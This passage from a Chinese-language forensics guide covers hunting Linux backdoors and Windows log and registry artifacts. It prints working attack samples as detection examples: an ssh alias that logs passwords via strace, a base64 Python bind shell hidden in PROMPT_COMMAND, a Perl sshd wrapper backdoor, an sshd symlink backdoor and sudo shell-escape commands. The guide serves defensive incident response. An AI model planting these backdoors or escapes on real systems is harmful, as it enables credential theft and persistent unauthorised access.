可以在排查时关注脚本文件内是否含有以下字符串: 288 | ```shell 289 | /bin/bash 290 | /bin/sh 291 | /usr/sbin/in.telnetd 292 | /usr/sbin/in.rshd 293 | /usr/sbin/in.rlogind 294 | /usr/sbin/in.rexecd 295 | ``` 296 | 297 | ### 1.4 篡改shell及公共配置文件 298 | 299 | #### 1.4.1 别名后门 300 | 301 | 命令别名后门通过在shell配置文件及公共配置文件中定义alias/hash等命令诱导用户使用被篡改的命令。排查方式比较简单,检查文档中是否出现此类关键字就行。一般来说,默认的alias即使有命令也普遍集中于ls/grep。 302 | ```shell 303 | a=(/etc/profile /etc/bashrc ~/.bashrc ~/.bash_file ~/.profile) 304 | for i in `echo $a`;do grep "alias\|hash" $i; done 305 | ``` 306 | 307 | 常见的别名后门,如: 308 | ```shell 309 | # 在/etc/profile内alias+strace+ssh偷密码: 310 | alias ssh='strace -o /tmp/sshwd-`date '+%d%h%m%s'`.log -e read -s 2048 ssh' 311 | 312 | # 在/etc/profile内添加了如下命令: 313 | alias ls="alerts(){ ls $* --color=auto;ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=32110 };alerts" 314 | 315 | # 在~/.bashrc中添加如下命令: 316 | alias sudo='/tmp/.sudo' 317 | ``` 318 | 319 | 不常见的,如: 320 | 利用hash命令,劫持常用命令。hash 用于查看terminal创建后某项命令程序的使用次数。hash -p参数可以用来设置某个二进制程序的运行别名,如果在/etc/profile内预先执行能达到类似于alias后门的效果。 321 | 322 | ```shell 323 | hash -p /tmp/su-backdoor su 324 | hash -p /tmp/sudo-backdoor sudo 325 | ``` 326 | 327 | #### 1.4.2 篡改环境变量 328 | 程序的运行普遍依赖一定的环境变量,篡改环境变量可以改变程序的资源分配甚至改变使用者本想运行的命令。攻击者通过在shell配置文件及公共配置文件中设置环境变量的值达到影响程序的目的。 329 | 330 | ##### $PATH后门 331 | 332 | 攻击类型1:篡改$PATH 333 | 334 | 攻击者修改$PATH,手工加入更高优先级的目录,并放入同名后门程序,用来劫持常用的命令。排查命令: 335 | 336 | ```shell 337 | grep -n "PATH=\|:\$PATH" ~/.* 2>/dev/null 338 | grep -rn "PATH=\|:\$PATH" /etc/profi* 2>/dev/null 339 | grep -n "PATH=\|:\$PATH" /etc/bashrc 2>/dev/null 340 | ``` 341 | 检查结果中是否存在非常见的目录如:家目录、/tmp目录。 342 | 343 | 攻击类型2:利用$PATH的缺陷。 344 | 345 | 攻击者在现有的高优先级的目录中放置同名后门程序,劫持低目录中的程序。排查命令: 346 | 347 | ```shell 348 | # 例如攻击者通过在/usr/local/sbin或/usr/local/bin中部署后门程序如sudo,可以优先于原本/usr/bin/sudo执行。 349 | find /usr/local/sbin -perm -100 -type f> 1.txt 350 | find /usr/local/bin -perm -100 -type f >>1.txt 351 | find /home -perm -100 -type f >>1.txt 352 | find /root -perm -100 -type f >>1.txt 353 | cat 1.txt|sort|uniq -c|sort -nr|head -n 10 354 | ``` 355 | ##### $PROMPT_COMMAND后门 356 | 357 | 该环境变量通俗来说用于在执行每条命令前执行命令,不少运维人员利用它来做历史记录加固,但是攻击者同样可以利用它来插入后门逻辑。排查命令如下: 358 | 359 | ```shell 360 | grep -n "PROMPT_COMMAND" ~/.* 2>/dev/null 361 | grep -rn "PROMPT_COMMAND" /etc/profi* 2>/dev/null 362 | grep -n "PROMPT_COMMAND" /etc/bashrc 2>/dev/null 363 | ``` 364 | 365 | 正常的该环境变量内容应该是关于shell的界面显示: 366 | 367 | ```shell 368 | # PROMPT_COMMAND='echo -ne "\033]0;${USER}@${HOSTNAME}: ${PWD}\007"' 369 | ``` 370 | 371 | 或是结合历史记录加固的: 372 | 373 | ```shell 374 | history -a; history -a; printf "\033]0;%s@%s:%s\007" "${USER}" "${HOSTNAME%%.*}" "${PWD/#$HOME/~}" 375 | ``` 376 | 377 | 而下面这种情况是一条利用环境变量来做bind shell的后门。每一次执行先检查端口有没有占用,如果没占用,立马开一个后门端口。 378 | ```shell 379 | export PROMPT_COMMAND="lsof -i:23333 &>/dev/null || (python2 -c \"exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwyMzMzMykpCnMubGlzdGVuKDEpCihjLGEpPXMuYWNjZXB0KCkKd2hpbGUgMToKIGQ9Yy5yZWN2KDUxMikKIGlmICdleGl0JyBpbiBkOgogIHMuY2xvc2UoKQogIHN5cy5leGl0KDApCiByPW9zLnBvcGVuKGQpLnJlYWQoKQogYy5zZW5kKHIpCg=='.decode('base64'))\" 2>/dev/null &)" 380 | ``` 381 | ##### $LD_PRELOAD后门 382 | $LD_PRELOAD用于指定程序动态库的加载。动态库的加载满足下面的定义顺序: 383 | ```shell 384 | $LD_PRELOAD>$LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib 385 | ``` 386 | 故而,攻击者利用该环境变量定义的库文件可以实现对函数的劫持。 387 | 388 | 排查命令如下: 389 | ```shell 390 | grep -n "LD_PRELOAD" ~/.* 2>/dev/null 391 | grep -rn "LD_PRELOAD" /etc/profi* 2>/dev/null 392 | grep -n "LD_PRELOAD" /etc/bashrc 2>/dev/null 393 | #观察结果内是否存在形如:export LD_PRELOAD=/xxxx/xxx.so 394 | ``` 395 | 如果系统内正在运行的进程存在加载了该环境变量的可能,通过检查/proc/*/environ也能快速定位到受影响的进程。 396 | ```shell 397 | cat /proc/*/environ |tr '\0' '\n'|grep LD_PRELOAD 398 | grep -rn LD_PRELOAD /proc/*/environ 399 | ``` 400 | 401 | ##### $LD_LIBRARY_PATH后门 402 | 403 | 与$LD_PRELOAD后门检测方法基本一致: 404 | ```shell 405 | grep -n "LD_LIBRARY_PATH" ~/.* 2>/dev/null 406 | grep -rn "LD_LIBRARY_PATH" /etc/profi* 2>/dev/null 407 | grep -n "LD_LIBRARY_PATH" /etc/bashrc 2>/dev/null 408 | # 观察结果内是否存在形如:export LD_LIBRARY_PATH =/xxxx/xxx.so 409 | ``` 410 | 411 | ### 1.5 篡改库文件 412 | 413 | #### 1.5.1 pam后门 414 | 415 | “Linux-PAM(即linux可插入认证模块)是一套共享库,使本地系统管理员可以随意选择程序的认证方式。换句话说,不用(重新编写)重新编译一个包含PAM功能的应用程序,就可以改变它使用的认证机制,这种方式下,就算升级本地认证机制,也不用修改程序。”换个角度来看,如果攻击者可以通过篡改pam模块达到劫持认证的目的。 416 | 417 | PAM配置应用认证方式的文件在/etc/pam.d/目录下。调用的模块库: 418 | 419 | ```shell 420 | RHEL:/usr/lib64/security/ 421 | Debian: /usr/lib/x86_64-linux-gnu/security/ 422 | ``` 423 | 424 | 主要的利用方式有两种: 425 | 426 | (1) 篡改配置文件,加入攻击者自定义的pam库文件。 427 | sshLooterC就是这样一个工具。 https://github.com/mthbernardes/sshLooterC 428 | 试了下RHEL上可以运行,Debian上有些问题,通过在/etc/pam.d/common-auth中插入编译好的so文件,并将编译好的劫持库放到目录下即可。 429 | 430 | 取证的方法就是检查配置文件有没有被篡改。如果系统支持包管理检查的话,可以确认以下有没有配置文件被改了。 431 | 432 | ```shell 433 | rpm -V `rpm -qf /etc/pam.d/system-auth` 434 | ``` 435 | 436 | (2) 源码修改并替换库文件,从而实现后门植入。 437 | 下面两篇文章中,作者分别实现了这种方式的后门植入。 438 | Debian:https://www.cnblogs.com/adhzl/p/12098397.html 439 | RHEL:https://xz.aliyun.com/t/7902 440 | 441 | 取证的过程分为以下几步: 442 | 1. 确定pam版本。rpm -qa | grep pam(或,dpkg -l | grep pam) 443 | 2. 下载对应版本源码。http://www.linux-pam.org/library/ 444 | 3. 编译。(./configure && make) 445 | 4. 比较so文件散列值。 446 | 5. 分析异常so文件。 447 | 448 | pam对大多数人而言可能比较生疏,这里有一些文章可以看看。 449 | [1] Linux下PAM模块学习总结https://www.cnblogs.com/kevingrace/p/8671964.html 450 | 451 | #### 1.5.2 /etc/ld.so.cache 452 | 453 | /etc/ld.so.cache可以认为是程序的动态链接库字典,需要动态链接的程序会在系统内的动态加载器的帮助下读取/etc/ld.so.cache进而获得要用到的库文件。因而攻击者通过篡改该文件的内容,可以实现插入后门劫持程序运行的效果。这一技术在一些rootkit中常被使用。 454 | 455 | 检查方式是确定库文件的归属,通过下载对应版本的安装包或使用包管理器检查该库文件是否被篡改。 456 | 457 | (1)下面的例子中使用包管理器检查某库文件。 458 | 459 | ```shell 460 | #以debian下某库文件libBLT为例 461 | cat /etc/ld.so.cache|tr '\0' '\n' |grep libBLT 462 | ls -il /lib/libBLT.2.5.so.8.6 #获得inode 463 | dkpg -S /usr/lib/libBLT.2.5.so.8.6 #获得二进制所属的包 464 | dpkg -V tk8.6-blt2.5 #dpkg自检 465 | 466 | #RHEL下 467 | rpm -qf $filename 468 | rpm -V $package 469 | ``` 470 | 471 | (2)下面的例子中通过比对官方包散列值来检查某库文件。 472 | 473 | Debian系: 474 | ```shell 475 | apt-get download xxx #只下载 476 | dpkg -X ./xxx.deb extract #解压到extract目录 477 | ``` 478 | 479 | RHEL系: 480 | 481 | ```shell 482 | yum install --downloadonly --downloaddir=/tmp/ XXX #只下载 483 | rpm2cpio xxx.rpm | cpio -div #解压到当前目录 484 | ``` 485 | 将待分析的so文件与解压后得到的文件使用md5sum比对散列值。 486 | 487 | #### 1.5.3 /etc/ld.so.preload 488 | 489 | 网上不少文章提到该库文件,但看了一下本人的好几套环境上都没有该配置文件,因此真实性不做保证。这里留下来只是作为以防万一。 490 | 491 | 该配置文件作用与LD_PRELOAD类似,帮助程序预先加载一些库文件,内容与/etc/ld.so.cache。 492 | 493 | 因此,排查方法与/etc/ld.so.cache类似,使用包管理器确定其中的库文件来源并检查库文件是否被篡改。 494 | 495 | ### 1.6 篡改命令文件 496 | 497 | 篡改文件有两类常见的手法,一类是用含有后门逻辑的脚本文件替换掉命令文件,一类通过修改文件源码再编译。 498 | 499 | 使用包管理器检查能检查通过包管理器安装的程序。对于不支持包管理检查的文件或系统,发现脚本类替换相对容易,但发现源码修改再编译的后门则比较困难。 500 | 501 | #### 1.6.1 包管理器自检 502 | ```shell 503 | RHEL:rpm -aV 504 | Debian:dpkg -V 505 | ``` 506 | 这种方式依赖系统内包管理器可正常工作的情况。同时还要求被查的软件或二进制是采用源安装方式。如果采用pip,源码编译等方式进行安装,那就发现不了。 507 | 508 | #### 1.6.2 检查脚本文件 509 | 使用下面给出的命令能快速检查常用程序目录下的脚本是否属于被篡改的脚本,如果包管理没有识别到该脚本的归属,单独查看内容进行分析即可,不常见的命令可以不用管。 510 | 511 | ```shell 512 | # Debian: 513 | find /usr/*bin /usr/local/*bin -type f -exec file {} \; |grep -v ELF|awk -F: '{print $1}'|xargs dpkg -S|awk -F: '{print $1}'|dpkg -V 514 | 515 | # RHEL: 516 | find /usr/*bin /usr/local/*bin -type f -exec file {} \; | grep -v ELF|awk -F: '{print $1}'|xargs rpm -qf|sort -n|uniq|xargs rpm -V 517 | ``` 518 | 519 | #### 1.6.3 检查ELF文件 520 | (1)文件校验 521 | 实际场景下很少做这种检查,因为这种方法难以在取证场景下大量快速的展开,消耗时间与人力代价很大。 522 | 523 | 下面以一个OpenSSH后门排查为例。 524 | 525 | 首先确定二进制归属与版本: 526 | ```shell 527 | dpkg -S /usr/sbin/sshd 528 | dpkg -l openssh-server 529 | (RHEL下对应于rpm -qf /usr/sbin/sshd结果直接包含版本号) 530 | ``` 531 | 532 | 接着去开源社区搜一下,下载对应的deb包或rpm包、bin包。通过解压或执行的方式获得其中的二进制文件,算一遍散列值进行比对。 533 | 534 | ```shell 535 | # Debian-deb: 536 | dpkg -X ./xxx.deb extract #解压到extract目录 537 | dpkg -i ./xxx.deb #安装该deb包 538 | 539 | # RHEL-rpm: 540 | rpm2cpio xxx.rpm | cpio -div #解压到当前目录 541 | rpm -i xxx.rpm #安装该rpm包 542 | 543 | # bin文件: 544 | chmod +x xxx.bin; ./xxx.bin 545 | ``` 546 | 这类文件比较特殊,可以在虚拟机里面安装后获得二进制,再算散列值。 547 | 548 | (2)进程分析 549 | 这种排查方式的代价更高,同时可能需要沙箱环境。如果这种进程分析搞不定可能还需要文件逆向分析。 550 | 551 | 以进程分析OpenSSH后门为例。starce -ff -p $sshd_pid可以捕获到的正常的SSH登录中抓到的账户名及密码。如果OpenSSH-Server被篡改了,那么在该部分往后应该会有读写文件或创建socket外发的操作,具体的操作取决于攻击者的手段与目的(窃取型的可以直接写到本地也可以创建socket外发,口令鉴权绕过的除了硬编码口令应该也会存在其他绕过手段)。实际操作起来还会有很多问题,时间代价与精力代价都很高。 552 | 553 | 下面是一些此类后门的相关文章。 554 | https://www.cnblogs.com/bigdevilking/p/9535427.html 555 | https://www.cnblogs.com/jouny/p/4688194.html 556 | https://www.freebuf.com/news/153364.html 557 | https://www.cnblogs.com/croso/p/5280783.html 558 | https://www.moonsec.com/archives/1720 559 | 560 | (3)逆向工程 561 | 562 | 略。 563 | 564 | #### 1.6.4 条件触发型后门 565 | 566 | 在正常使用操作中,用户无法感知,只有满足一定条件下才能触发后门逻辑的后门。检查的重点在于文件是否被篡改。有以下几种方式能够帮助检查:1.包管理器自检;2.md5sum比对;3.查看文件内容。 567 | 568 | 下面是一个典型ssh-wrapper后门的形式。此后门要求连接ssh的源端口满足指定的条件就能出发任意密码登录。 569 | ```shell 570 | cd /usr/sbin 571 | mv sshd ../bin 572 | vi sshd 573 | >>>>> 574 | #!/usr/bin/perl 575 | exec"/bin/sh"if(getpeername(STDIN)=~/^..4A/); 576 | exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV; 577 | <<<<<< 578 | #netstat -ntuap结果无异常bind端口,无异常socket连接。但用socat指定源端口登录时会直接登陆上 579 | socat STDIO TCP4:10.18.180.20:22,sourceport=13377 580 | ``` 581 | 582 | ### 1.7 其他 583 | #### 1.7.1 ssh软链接后门 584 | 软链接后门是一种比较特殊的后门,形式如下: 585 | ```shell 586 | ln -sf /usr/sbin/sshd /xxx/su;/xxx/su -oPort=$port_num 587 | ``` 588 | 使用ps aux && netstat -ntaup等命令查看进程名时能快速发现该后门,特点在于文件名必须为su。 589 | 590 | #### 1.7.2 Git hooks后门(未证实) 591 | 利用git commit时触发反弹shell的逻辑。典型形式如下: 592 | ```shell 593 | echo "xterm -display :1 &" > .git/hooks/pre-commit 594 | chmod +x .git/hooks/pre-commit 595 | 596 | Xnest:1 597 | ``` 598 | 599 | 排查方式:所有本地的仓库内是否含有该文件及xterm关键字。 600 | ```shell 601 | find / -name .git -exec grep -nr xterm {} \; 2>/dev/null 602 | ``` 603 | 604 | ## 2 提权类后门排查 605 | 606 | 提权后门的取证在实际场合下意义不大。 607 | 608 | 一般来说攻击者具备提权为root的能力后都会直接在root权限下做持久化,以免每一次登录都要走一遍提权流程很麻烦。 609 | 610 | ### 2.1 suid shell 611 | 方法就是检查所有属主的x位被置为s的文件。检查方式是使用包管理器检查或二进制逆向的方式检查所有输出的结果。 612 | find / -perm -4000 -uid 0 2>/dev/null 613 | 614 | ### 2.2 sudo配置不当-受限命令绕过 615 | 部分自带参数执行shell命令的命令如果经sudo配置下发给普通用户,普通用户可以用该参数提权为root。但在实际场景下基本遇不到,即便sudo的配置存在该问题,如果历史记录没记录到就无法取证该事件。 616 | 617 | 这种场景下sudo配置文件常常添加了形如如下的配置: 618 | ```shell 619 | testme ALL=(ALL) NOPASSWD: /usr/bin/vi 620 | apache ALL=(root) NOPASSWD:/usr/bin/zip 621 | ``` 622 | 除了上面的命令vi与zip以外,还包括很多命令: 623 | ```shell 624 | tar/more/less/man/ftp/python/vim/find/strace/git/passwd/awk 625 | ``` 626 | 627 | 对应攻击者进行利用的方式: 628 | ``` 629 | sudo zip ./7.zip /tmp -T --unzip-command="sh -c /bin/bash" 630 | sudo tar cf /dev/null test.tar --checkpoint=1 --checkpoint-action=exec=/bin/bash 631 | sudo more /tmp/a.txt ; !/bin/bash 632 | sudo less /tmp/a.txt; !/bin/bash 633 | sudo man ssh; !/bin/bash 634 | sudo ftp; !/bin/bash 635 | sudo vim -c '!sh' 636 | sudo find /bin/ -name ls -exec '/bin/bash' \; 637 | sudo strace -o /dev/null /bin/bash 638 | echo "os.execute('/bin/bash')" > /tmp/shell.nse 639 | sudo nmap --script=/tmp/shell.nse 640 | sudo git help status;!/bin/bash 641 | sudo passwd 642 | sudo awk 'BEGIN{system("/bin/bash")}' 643 | sudo /usr/bin/python -c 'import pty;pty.spawn("/bin/bash")' 644 | ``` 645 | ### 2.3 目录或文件与进程的属主不一致导致提权 646 | 647 | 由root等高权限用户周期性调用执行的文件 被部署在其他用户的家目录下(或该文件的属主为其他用户时),则当该用户失陷时,攻击者可以篡改该文件的内容,诱导root执行高风险的操作。 648 | 649 | 实际场景下很难取证,因此不做展开。 -------------------------------------------------------------------------------- /取证溯源/Windows取证.md: -------------------------------------------------------------------------------- 1 | [TOC] 2 | 3 | # 0x00 简介 4 | 5 | Windows攻击取证溯源中的技术学习 6 | 7 | # 0x01 日志审计 8 | 安全日志是发现入侵痕迹过程中需特别关注的日志,Windows默认开启对账户登录事件的记录,我们可以使用它检查异常的登录事件,除此之外我们也可以手动的在本地安全策略中设置更多的审计项。 9 | Windows使用事件ID区分不同类型的事件,因此日志的审计主要关注提取出异常时间的高风险的事件ID。Windows使用eventvwr.msc可以快速的打开事件管理器。除此之外也可以访问日志目录“C:\Windows\System32\winevt\Logs”,日志的大小是有上限的,默认20M。 10 | 11 | ## 1 高风险事件ID 12 | 13 | 可以认为,早期系统(xp,2003)使用基本安全策略定义的事件ID,vista以上的系统使用高级安全策略定义的事件ID。 14 | 15 | 下面给出了一些取证中应该重点关注的高风险事件ID,其中登录事件是最应重点关注且在组策略中默认开启的。 16 | 17 | | **序号** | **事件****ID** | **事件说明** | **域控特有** | 18 | | -------- | -------------- | -------------------------------------------------------- | ------------ | 19 | | 1 | 4624 | 登录成功 | - | 20 | | 2 | 4625 | 登录失败 | - | 21 | | 3 | 4648 | 凭据登录尝试 | - | 22 | | 4 | 4672 | 特殊权限登录 | - | 23 | | 5 | 5632 | 接入无线进行认证时 | - | 24 | | 6 | 5633 | 接入有线进行认证时 | - | 25 | | 7 | 4768 | 处理Kerberos (TGT) 请求 | 是 | 26 | | 8 | 4769 | 已请求 Kerberos 服务票证 | 是 | 27 | | 9 | 4770 | Kerberos服务票被更新 | 是 | 28 | | 10 | 4771 | Kerberos 预身份验证失败 | 是 | 29 | | 11 | 4776 | 计算机试图验证NTLM 凭据(解锁,域登录) | - | 30 | | 12 | 4703 | 用户权限已调整 | - | 31 | | 13 | 4704 | 已分配用户权限 | - | 32 | | 14 | 4706 | 新建域信任 | 是 | 33 | | 15 | 4707 | 删除域信任 | 是 | 34 | | 16 | 4713 | 已修改kerberos策略 | 是 | 35 | | 17 | 4716 | 已修改受信任域信息 | 是 | 36 | | 18 | 4717 | 已向账户授予系统安全访问权限 | - | 37 | | 19 | 4865 | 已添加受信任林信息项 | 是 | 38 | | 20 | 4867 | 已修改受信任林信息项 | 是 | 39 | | 21 | 4720 | 创建用户 | - | 40 | | 22 | 4722 | 启用账户 | - | 41 | | 23 | 4723 | 改账户密码 | - | 42 | | 24 | 4732 | 账户添加至本地安全组 | - | 43 | | 25 | 4739 | 已更改域策略 | - | 44 | | 26 | 4741 | 已创建计算机帐户 | 是 | 45 | | 27 | 4742 | 已更改计算机账户 | 是 | 46 | | 28 | 4743 | 已删除计算机账户 | 是 | 47 | | 29 | 4765 | 账户添加SID记录 | - | 48 | | 30 | 4766 | 账户添加SID失败 | - | 49 | | 31 | 4781 | 修改账户名 | 是 | 50 | | 32 | 4782 | 已访问账户的密码哈希 | - | 51 | | 33 | 4793 | 已调用密码策略检查 API | - | 52 | | 34 | 4798 | 枚举用户的本地组成员身份 | - | 53 | | 35 | 4688 | 表示进程创建 | - | 54 | | 36 | 4696 | 主令牌分配给进程 | - | 55 | | 37 | 1102 | 审核日志已清除 | - | 56 | | 38 | 1104 | 安全日志现已满 | - | 57 | | 39 | 4656 | 已发出对象句柄请求 | - | 58 | | 40 | 4657 | 已修改注册表值 | - | 59 | | 41 | 4663 | 已尝试访问对象 | - | 60 | | 42 | 4664 | 试图创建硬链接 | | 61 | | 43 | 4670 | 已尝试更改对象上的权限 | - | 62 | | 44 | 4698 | 创建计划任务 | - | 63 | | 45 | 4699 | 删除计划任务 | - | 64 | | 46 | 5140 | 访问的共享目录 | - | 65 | | 47 | 5142 | 添加了网络共享对象 | - | 66 | | 48 | 5145 | 检查网络共享对象以查看是否可以向客户端授予所需的访问权限 | - | 67 | | 49 | 5168 | 无法对SMB进行SPN检查 | - | 68 | | 50 | 1074 | 关机事件 | - | 69 | | 51 | 5025 | 已停止防火墙 | - | 70 | 71 | + ps: 72 | 73 | \[1] [微软的事件ID在线文档](https://docs.microsoft.com/zh-cn/windows/security/threat-protection/auditing/event-4722) 74 | 75 | \[2] [简单的事件ID功能记录](http://www.wmksj.com/wzty/56.html) 76 | 77 | ## 2 登录类型 78 | 79 | | **登录类型** | **登录标题** | **描述** | 80 | | ------------ | ----------------------- | ------------------------------------------------------------ | 81 | | 0 | System | 仅由系统帐户使用,例如,在系统启动时使用。 | 82 | | 2 | Interactive | 用户登录到此计算机。 | 83 | | 3 | Network | 从网络登录到此计算机的用户或计算机。 | 84 | | 4 | Batch | 批处理登录类型由批处理服务器使用,其中进程可以代表用户执行,而无需直接干预。 | 85 | | 5 | Service | 服务由服务控制管理器启动。 | 86 | | 7 | Unlock | 登录界面解锁。 | 87 | | 8 | NetworkCleartext | 用户从网络登录到此计算机。 用户的密码已传递到其未加Hashed 形式的身份验证包。 内置身份验证先打包所有哈希凭据,然后再跨网络发送它们。 凭据不以纯文本格式遍历网络 (也称为明文) 。 | 88 | | 9 | NewCredentials | 调用方克隆其当前令牌,并指定出站连接的新凭据。 新的登录会话具有相同的本地标识,但其他网络连接使用不同的凭据。 | 89 | | 10 | RemoteInteractive | 用户使用终端服务或远程桌面远程登录到此计算机。 | 90 | | 11 | CachedInteractive | 用户使用本地存储在该计算机中的网络凭据登录到此计算机。 未联系域控制器来验证凭据。 | 91 | | 12 | CachedRemoteInteractive | 与 RemoteInteractive 相同。 这用于内部审核。 | 92 | | 13 | CachedUnlock | 工作站登录。 | 93 | 94 | ## 3 常见事件特点 95 | 96 | ### 3.1 非域事件 97 | 98 | 本地口令登录-成功:event={4648,4624:2} 99 | 100 | 本地口令登录-失败:event={4648,4625:2} 101 | 102 | 远程登录-成功:event={4648,4624:10,4672:SYSTEM} 103 | 104 | 远程登录-失败:event={4648,4625:10} 105 | 106 | 注销动作:event={4647(动作),4634(结果)} 107 | 108 | 解锁登录-成功:event={ 4648,4624:7,4672 } 109 | 110 | 解锁登录-成功:event={ 4648,4625:7 } 111 | 112 | 远程访问文件共享目录-成功:event={4624:3, 5140} 113 | 114 | ### 3.2 域事件(待进一步研究) 115 | 116 | 域账户域登录(域控关机):event={ 4648,4625:7 } 117 | 118 | 域账户域登录(域控正常):krbrgt+owner 119 | 120 | 域主机的本地登录: 121 | 122 | 退域重加: 123 | 124 | local:event={4733删除,4688登录,4732添加} 125 | 126 | DC event={4768,4769,4724,4742,4725,4722} 127 | 128 | PTH: 129 | 130 | PTK: 131 | 132 | PTT: 133 | 134 | ## 4 事件提取 135 | 136 | ### 4.1 powershell 137 | 138 | 简单的事件快速提取。 139 | 140 | ```powershell 141 | Get-WinEvent -FilterHashtable @{Logname='security';Id='4624','4624','4672'} 142 | Get-EventLog Security -InstanceId 4624,4625,4672 143 | ``` 144 | 145 | 也可以具体查看某条记录的信息。 146 | 147 | ```powershell 148 | $events=Get-EventLog Security -InstanceId 4624,4625,4672 149 | $events[2]|fl * 150 | ``` 151 | 152 | ### 4.2 LogPraser 153 | 154 | \#审核登录 155 | 156 | ```powershell 157 | .\LogParser.exe -i:evt -o:datagrid "select TimeGenerated,extract_token(strings,5,'|') as User, message,extract_token(strings,18,'|') as SIP from security where eventid=4624" 158 | 159 | .\LogParser.exe -i:evt -o:datagrid "select TimeGenerated,extract_token(strings,5,'|') as User, message,extract_token(strings,18,'|') as SIP from security where eventid=4624 and SIP not in ('-')" 160 | ``` 161 | 162 | \#审核进程创建(信息收集) 163 | 164 | ```powershell 165 | LogParser.exe -i:EVT "SELECT TimeGenerated,EventID,EXTRACT_TOKEN(Strings,1,'|') as UserName,EXTRACT_TOKEN(Strings,5,'|') as ProcessName FROM c:\11.evtx where EventID=4688" 166 | ``` 167 | 168 | 169 | 170 | + ps: 171 | 172 | \[1][LogParser快速上手教程](https://www.jianshu.com/p/0f3ec2fb57a4) 173 | 174 | ### 4.3 登录事件可视化分析 175 | 176 | LogonTracer是一款可视化分析windows事件的日志,仓库地址为: 177 | 178 | https://github.com/JPCERTCC/LogonTracer 179 | 180 | ## 5 防火墙日志 181 | 182 | 以win10为例,在防火墙日志的具体位置在:%systemroot%\system32\LogFiles\Firewall\pfirewall.log 183 | 184 | 系统一般都默认关闭该日志,可以在“控制面板->windows 防火墙->高级->属性->公共配置文件下开启该选项” 185 | 186 | # 0x02 操作记录审计 187 | 188 | ## 1 Recent记录(访问记录) 189 | 190 | Windows默认会存储150个最近打开的文件或文件夹,如果同一文件被访问两次将以最近一次访问的时间加以记录。下面提供多种查看访问记录的方法。 191 | 192 | (1)C:\Documents and Settings\%username%\Recent 193 | 194 | (2)或winkey+r && recent 195 | 196 | (3)%UserProfile%\Recent 197 | 198 | (4)%APPDATA%\Microsoft\Windows\Recent 199 | 200 | ## 2 Prefetch(预存取记录) 201 | 202 | 用来存放系统已访问过文件的预读信息,能够加快系统的启动速度。记录文件运行次数、上次执行时间、Hash等。 203 | 204 | **注意**:使用[PECmd](https://github.com/EricZimmerman/PECmd)可以提取Prefetch文件夹中的信息: 205 | 206 | PECmd.exe -d C:\Windows\Prefetch --csv c:\temp 207 | 208 | ## 3 WinKey+R(运行框执行历史) 209 | 210 | 打开注册表,查看以下注册表项 211 | 212 | ```powershell 213 | reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU 214 | reg query HKEY_USERS\\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU 215 | ``` 216 | 217 | ## 4 Powershell 历史记录 218 | 219 | ```powershell 220 | Get-Content (Get-PSReadLineOption).HistorySavePath 221 | ``` 222 | 223 | ```powershell 224 | #带编号的历史记录 225 | #https://www.cnblogs.com/JiangOil/p/12516881.html 226 | function Get-AllHistory 227 | { 228 | $his = Get-Content (Get-PSReadLineOption).HistorySavePath 229 | $n = $his.Length 230 | $out = @() 231 | for($i=0;$i -lt $n;$i++) 232 | { 233 | $out = $out + "$i $($his[$i])" 234 | } 235 | return $out 236 | } 237 | ``` 238 | 239 | ## 5 执行或访问过的文件历史(其他) 240 | 241 | ### 5.1 UserAssist 242 | 243 | userassist键值包含GUI应用执行的信息,如名称、路径、关联快捷方式、执行次数、上一次执行时间等。 244 | 245 | 数据来源(注册表): 246 | 247 | ```powershell 248 | HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count 249 | ``` 250 | 251 | 252 | 253 | 分析工具:https://blog.didierstevens.com/programs/userassist/ 254 | 255 | 256 | 257 | ### 5.2 Amcache 258 | 259 | Amcache.hve记录执应用程序的执行路径、上次执行时间、以及SHA1值。 260 | 261 | 数据来源(文件): 262 | 263 | ```cmd 264 | C:\Windows\appcompat\Programs\amcache.hve 265 | ``` 266 | 267 | 分析工具:https://github.com/EricZimmerman/AmcacheParser 268 | 269 | ```cmd 270 | AmcacheParser.exe -f C:\Windows\AppCompat\Programs\Amcache.hve --csv d:\temp 271 | #实测时提示Amcache.hve被占用。 272 | ``` 273 | 274 | 275 | 276 | ### 5.3 MUICache 277 | 278 | 用来记录exe文件的文件名称,在注册表中保存exe文件的绝对路径和对应exe文件的文件名称。 279 | 280 | 数据来源(注册表): 281 | 282 | ```powershell 283 | HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache 284 | 285 | HKEY_USERS\\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache 286 | ``` 287 | 288 | ### 5.4 AppCompatFlag 289 | 290 | 数据来源(注册表): 291 | 292 | ```powershell 293 | HKLM\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers 294 | HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers 295 | HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Persisted 296 | HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store 297 | ``` 298 | 299 | ### 5.5 AppCompatCache 300 | 301 | ShimCache 又称为AppCompatCache,从 Windows XP开始存在,用来识别应用程序兼容性问题。跟踪文件路径,大小和上次修改时间(LastModifiedTime)和上次更新时间(LastUpdateTime)。 302 | 303 | 其中在Windows7/8/10系统中最多包含1024条记录,Windows7/8/10系统中不存在“上次更新时间”。 304 | 305 | 注册表位置: 306 | 307 | ```powershell 308 | HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache 309 | ``` 310 | 311 | #### 5.5.1 使用AppCompatParser 312 | 313 | 工具地址:https://github.com/EricZimmerman/AppCompatCacheParser/ 314 | 315 | 基本用法:AppCompatCacheParser.exe --csv d:\temp -t 316 | 317 | #### 5.5.2 使用ShimCacheParser 318 | 319 | 地址:https://github.com/mandiant/ShimCacheParser 320 | 321 | 基本用法: 322 | 323 | ```poweshell 324 | reg export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" shimcache.reg 325 | 326 | python27 ShimCacheParser.py -o out.csv -r D:\shimcache.reg -t 327 | ``` 328 | 329 | # 0x03 进程检查 330 | 331 | 